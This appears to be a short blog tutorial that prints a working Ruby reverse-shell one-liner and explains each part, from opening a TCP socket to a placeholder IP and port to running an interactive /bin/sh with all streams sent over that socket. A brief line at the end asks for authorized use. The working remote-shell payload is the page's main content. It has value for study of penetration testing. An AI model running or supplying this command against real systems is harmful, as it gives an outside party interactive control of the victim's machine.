Ruby Reverse Shell Breakdown

Ruby Reverse Shell Explained

Ruby Reverse Shell Breakdown

 

'ruby -rsocket -e'f=TCPSocket.open("<your_ip>",<your_port>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
  • ‘ruby -rsocket -e’: Executes the following Ruby code provided as a command-line argument.

 

  • f=TCPSocket.open(“<your_ip>”,<your_port>).to_i;: Creates a TCPSocket connection to the specified IP address (<your_ip>) and port (<your_port>) and assigns the socket file descriptor to variable f.

 

  • exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f): Executes a shell command using exec. This command opens an interactive shell (/bin/sh -i) and redirects input, output, and error streams to the file descriptor f.

 

    • <&%d: Redirects standard input (stdin) from file descriptor f.

 

    • >&%d: Redirects standard output (stdout) to file descriptor f.

 

    • 2>&%d: Redirects standard error (stderr) to file descriptor f.

 

This Ruby one-liner creates a reverse shell by establishing a TCP connection to the specified IP and port. It then opens an interactive shell with input, output, and error streams redirected through the file descriptor f.

 

As always, use such commands responsibly and only with proper authorization, as they can be misused for unauthorized access. Ensure compliance with ethical and legal standards.

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top